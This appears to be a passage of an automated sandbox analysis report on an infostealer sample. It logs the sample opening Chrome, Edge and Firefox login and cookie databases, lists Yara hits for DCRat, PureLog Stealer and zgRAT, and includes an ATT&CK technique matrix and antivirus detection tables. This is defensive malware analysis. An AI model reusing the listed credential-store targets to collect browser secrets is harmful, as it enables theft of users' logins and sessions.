Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746941075.0000000012FE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2902556731.000000000344A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lEwK4xROgV.exe PID: 2200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOfFkekrfoWUJKTEEHXqPfq.exe PID: 7896, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: lEwK4xROgV.exe, type: SAMPLE
Source: Yara match	File source: 0.0.lEwK4xROgV.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1655955848.0000000000922000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\Default\AppData\Roaming\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: lEwK4xROgV.exe, type: SAMPLE
Source: Yara match	File source: 0.0.lEwK4xROgV.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\Default\AppData\Roaming\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	141 Windows Management Instrumentation	1 Scripting	12 Process Injection	133 Masquerading	1 OS Credential Dumping	341 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	2 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	271 Virtualization/Sandbox Evasion	Security Account Manager	271 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	145 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
lEwK4xROgV.exe	58%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
lEwK4xROgV.exe	100%	Avira	HEUR/AGEN.1323342
lEwK4xROgV.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\Mjflenyr.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\Default\AppData\Roaming\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\eTXTKQnz3l.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\Desktop\Mjflenyr.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\JqQCtqMt.log	100%	Joe Sandbox ML
C:\Users\Default\AppData\Roaming\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\LEHLeGpf.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	58%	ReversingLabs	Win32.Trojan.PureLogStealer
C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe	58%	ReversingLabs	Win32.Trojan.PureLogStealer
C:\Users\Default\AppData\Roaming\RuntimeBroker.exe	58%	ReversingLabs	Win32.Trojan.PureLogStealer
C:\Users\user\Desktop\AGJFDLPU.log	21%	ReversingLabs
C:\Users\user\Desktop\BVovudjy.log	25%	ReversingLabs
C:\Users\user\Desktop\CJjVexLG.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Users\user\Desktop\EGTLBrur.log	9%	ReversingLabs
C:\Users\user\Desktop\EYaePNot.log	29%	ReversingLabs
C:\Users\user\Desktop\GFkmldBA.log	8%	ReversingLabs
C:\Users\user\Desktop\GqCLBHtD.log	12%	ReversingLabs
C:\Users\user\Desktop\JqQCtqMt.log	21%	ReversingLabs
C:\Users\user\Desktop\LEHLeGpf.log	21%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\LsClOaRo.log	17%	ReversingLabs
C:\Users\user\Desktop\MBiTzGEa.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\Mjflenyr.log	25%	ReversingLabs
